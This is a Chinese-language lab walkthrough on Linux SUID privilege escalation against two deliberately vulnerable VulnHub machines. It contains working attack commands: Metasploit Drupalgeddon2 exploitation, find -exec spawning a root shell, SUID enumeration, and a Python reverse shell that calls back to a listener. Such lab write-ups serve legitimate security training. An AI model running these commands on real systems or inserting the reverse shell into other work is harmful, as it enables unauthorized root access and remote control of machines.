原理
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。
suid提权
Linux系统中执行命令:查找(find)、awk、cp..时,用户权限不够的话,又想让搜索结果完整,赋予find一个suid sudo 然后find这个命令也有参数 参数可以执行出其他命令出来 这就造成提权漏洞
find ./ -exec “whoami”\;
1 案例一
web权限→系统权限
环境:DC: 1 ~ VulnHub
项目:LinEnum PEASS-ng
1.1 信息收集
nmap 192.168.2.0/24
#192.168.2.13
1.2 Web漏洞利用
msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.2.13
run
1.3 suid提权
upload /root/Desktop/tiquan/linux-exploit-suggester.sh /tmp/1.sh #上传本地检测脚本到对方的tmp目录下
(upload /root/Desktop/tiquan/linpeas.sh /tmp/2.sh #综合脚本)
shell #进入命令
cd /tmp
chmod +x 1.sh #提升执行权限
./1.sh
/usr/bin/find . -exec '/bin/sh' \; #开启一个命令终端 执行whoami
whoami #显示root权限
cd /root
ls
cat thefinalflag.txt
2 案例二
普通用户→系统权限
环境:Toppo: 1 ~ VulnHub
搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件
2.1 信息收集
靶场ip 192.168.2.14
靶场设计http://192.168.2.14/admin/notes.txt 泄露密码ted/12345ted123
2.2.1 命令检测
SUID GUID
也可以通过命令进行判定suid和guid
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
2.2.2 脚本检测
上传LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
# 发现可以用mawk python2.7
2.3 suid提权
利用python2.7能执行代码
nc-lvvp 9999 #kali开启监听9999端口
通过生成一个python反弹shell提权
/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.26",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'